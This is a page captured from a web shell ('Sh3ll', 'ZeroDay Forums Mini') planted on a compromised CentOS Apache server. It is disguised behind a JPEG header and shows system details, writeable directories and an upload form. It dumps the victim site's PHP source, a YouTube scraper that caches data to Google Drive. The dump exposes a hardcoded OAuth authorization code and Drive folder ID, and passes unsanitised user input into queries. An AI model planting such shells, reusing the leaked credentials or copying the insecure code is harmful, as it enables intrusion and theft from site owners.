ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/img.123vid.top/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/img.123vid.top/youtube_detail.php
<?php
ini_set('memory_limit', '4096M');
require 'vendor/autoload.php';
function curl_func($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    $head[] = "Connection: keep-alive";
    $head[] = "Keep-Alive: 300";
    $head[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
    $head[] = "Accept-Language: en-us,en;q=0.5";
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
x-client-data: CJW2yQEIpbbJAQjBtskBCKmdygEYu7rKARiavsoB');
    curl_setopt($ch, CURLOPT_HTTPHEADER, $head);
    curl_setopt($ch, CURLOPT_REFERER, 'https://m.youtube.com');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_TIMEOUT, 60);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
    $page = curl_exec($ch);
    curl_close($ch);
    return $page;
}
function getClient()
{
    $client = new Google_Client();
    $client->setApplicationName('Google Drive API PHP Quickstart');
    $client->setScopes(Google_Service_Drive::DRIVE);
    $client->setAuthConfig('credentials.json');
    $client->setAccessType('offline');
    $client->setPrompt('select_account consent');


    // Load previously authorized token from a file, if it exists.
    // The file token.json stores the user's access and refresh tokens, and is
    // created automatically when the authorization flow completes for the first
    // time.
    $tokenPath = 'token.json';
    if (file_exists($tokenPath)) {
        $accessToken = json_decode(file_get_contents($tokenPath), true);
        $client->setAccessToken($accessToken);
    }

    // If there is no previous token or it's expired.
    if ($client->isAccessTokenExpired()) {
        // Refresh the token if possible, else fetch a new one.
        if ($client->getRefreshToken()) {
            $client->fetchAccessTokenWithRefreshToken($client->getRefreshToken());
        } else {
            // Request authorization from the user.
            $authUrl = $client->createAuthUrl();
            printf("Open the following link in your browser:\n%s\n", $authUrl);
            print 'Enter verification code: ';
            //$authCode = trim(fgets(STDIN));
            $authCode = '4/0AF0ZtYZhsqM0sPB5Iq-VKgXpc4RpVafAj8k96Ul89Vo3o_QMk1N5zM';
            // Exchange authorization code for an access token.
            $accessToken = $client->fetchAccessTokenWithAuthCode($authCode);
            $client->setAccessToken($accessToken);

            // Check to see if there was an error.
            if (array_key_exists('error', $accessToken)) {
                throw new Exception(join(', ', $accessToken));
            }
        }
        // Save the token to a file.
        if (!file_exists(dirname($tokenPath))) {
            mkdir(dirname($tokenPath), 0777, true);
        }
        file_put_contents($tokenPath, json_encode($client->getAccessToken()));
    }
    return $client;
}
$id = $_GET['id'];
$parentId   = '1mcl7Jb5VcaBy2qF1e9C_Wp8DA_onEefe';
$name = $id.'.txt';
//$url_get = 'https://www.youtube.com/watch?v='.$id.'&app=desktop';
$arr_link = array('https://portal.saigonacademy.com/barcode/youtube.php','https://portal.iec.edu.vn/barcode/youtube.php');
$ra_key = count($arr_link)-1;
$rand_key = rand(0,$ra_key);
$link = $arr_link[$rand_key];

$url_get = $link.'?id='.$id;
$content2 = '';
// Get the API client and construct the service object.
$client = getClient();
$service = new Google_Service_Drive($client);

$optParams = array(
    'pageSize' => 3,
    'fields' => 'nextPageToken, files(id, name)',
    'q' => "name='".$name."'"
);
$results = $service->files->listFiles($optParams);
/*echo count($results->getFiles());
exit();*/
if (count($results->getFiles()) == 0) {
    $content2 = curl_func($url_get);
    if(strpos($content2,'window["ytInitialData"] =')!==false){
        $content2 = explode('window["ytInitialData"] =',$content2);
        $content2 = explode('};',$content2[1]);
        $content3 = $content2[0].'}';
        $arr = json_decode($content3,true);
//video chi tiet
        $detail['title'] = $arr['contents']['twoColumnWatchNextResults']['results']['results']['contents'][0]['videoPrimaryInfoRenderer']['title']['runs'][0]['text'];

        $arr_des = $arr['contents']['twoColumnWatchNextResults']['results']['results']['contents'][1]['videoSecondaryInfoRenderer']['description']['runs'];
        /*print_r($arr_des);
        exit();*/
        $detail['des'] = '';
        $arr_tags=array();
        foreach ($arr_des as $val){
            if(!empty($val['navigationEndpoint'])) {
                $href = $val['navigationEndpoint']['urlEndpoint']['url'];
                $href = str_replace('https://www.youtube.com/results?search_query=','https://123vid.top/?act=search&q=',$href);
                $href = str_replace('https://123vid.top/?act=search&q=%23','https://123vid.top/?act=search&q=',$href);
                $rel = 'nofollow';
                if(strpos($val['text'],'#')!==false && strpos($val['text'],'http')===false){
                    $href = 'https://123vid.top/?act=search&q='.str_replace('#','',$val['text']);
                    $arr_tags[] = str_replace('#','',$val['text']);
                    $rel = '';
                }
                $detail['des'] .= '<a href="' . $href . '" target="_blank" rel="'.$rel.'">' . $val['text'] . '</a><br/>';
            }else{
                $detail['des'] .= $val['text'];
            }
        }


        $detail['user_name'] = $arr['contents']['twoColumnWatchNextResults']['results']['results']['contents'][1]['videoSecondaryInfoRenderer']['owner']['videoOwnerRenderer']['title']['runs'][0]['text'];
        $arr_tags[] = $detail['user_name'];
        $detail['chanel_id'] = $arr['contents']['twoColumnWatchNextResults']['results']['results']['contents'][1]['videoSecondaryInfoRenderer']['owner']['videoOwnerRenderer']['title']['runs'][0]['navigationEndpoint']['browseEndpoint']['browseId'];

        $detail['publishedAt'] = $arr['contents']['twoColumnWatchNextResults']['results']['results']['contents'][0]['videoPrimaryInfoRenderer']['dateText']['simpleText'];

        $detail['avatar'] = $arr['contents']['twoColumnWatchNextResults']['results']['results']['contents'][1]['videoSecondaryInfoRenderer']['owner']['videoOwnerRenderer']['thumbnail']['thumbnails'][2]['url'] ;

        $detail['txt_tags'] = '';
        $detail['keywords'] = $detail['des'];
        if (!is_null($arr_tags)) {
            foreach ($arr_tags as $val) {
                $detail['txt_tags'] .= '<li><a href="https://123vid.top/?act=search&q=' . $val . '" title="' . $val . '" target="_blank">' . $val . '</a></li>';
            }
            $detail['keywords'] = implode(',', $arr_tags);
        }
//video lien quan


//print_r($arr['contents']['twoColumnWatchNextResults']['secondaryResults']['secondaryResults']['results'][0]['compactAutoplayRenderer']['contents'][0]);
        $arr_lienquan = $arr['contents']['twoColumnWatchNextResults']['secondaryResults']['secondaryResults']['results'];

        $i=0;
        foreach($arr_lienquan as $key=>$val){
            if($val['compactAutoplayRenderer']['contents'][0]['compactVideoRenderer']['videoId']!='') {
                $detail['related'][$key]['id_you'] = $val['compactAutoplayRenderer']['contents'][0]['compactVideoRenderer']['videoId'];
                $detail['related'][$key]['title'] = $val['compactAutoplayRenderer']['contents'][0]['compactVideoRenderer']['title']['simpleText'];
                $detail['related'][$key]['duration'] = $val['compactAutoplayRenderer']['contents'][0]['compactVideoRenderer']['lengthText']['simpleText'];
            }else {
                $detail['related'][$key]['id_you'] = $val['compactVideoRenderer']['videoId'];
                $detail['related'][$key]['title'] = $val['compactVideoRenderer']['title']['simpleText'];
                $detail['related'][$key]['duration'] = $val['compactVideoRenderer']['lengthText']['simpleText'];

            }
        }

        if(!empty($detail['title']) && !empty($detail['related'])){
            $txt_up = json_encode($detail);
            $file = new Google_Service_Drive_DriveFile();
            //Define nome do arquivo
            $file->setName($name);
            //Define Diretório Destino lá no Google Drive
            $file->setParents(array($parentId));
            //Cria o arquivo no GDrive
            $createdFile = $service->files->create(
                $file,
                array(
                    'data'          => $txt_up,
                    'mimeType'      => 'application/octet-stream',
                    'uploadType' => 'resumable'
                )
            );
        }
        echo json_encode($detail);
        exit();
    }else{
        exit('no data find');
    }

} else {
    foreach ($results->getFiles() as $file) {
        $fileId = $file->getId();
    }
    $content = $service->files->get($fileId, array("alt" => "media"));
    $outHandle = fopen("cache/yt2/c.txt", "w+");
    while (!$content->getBody()->eof()) {
        fwrite($outHandle, $content->getBody());
    }
    fclose($outHandle);
    $txt_up = file_get_contents("cache/yt2/c.txt");
    echo $txt_up;
    exit();
}


//echo json_encode($detail);
exit();
?>

ZeroDay Forums Mini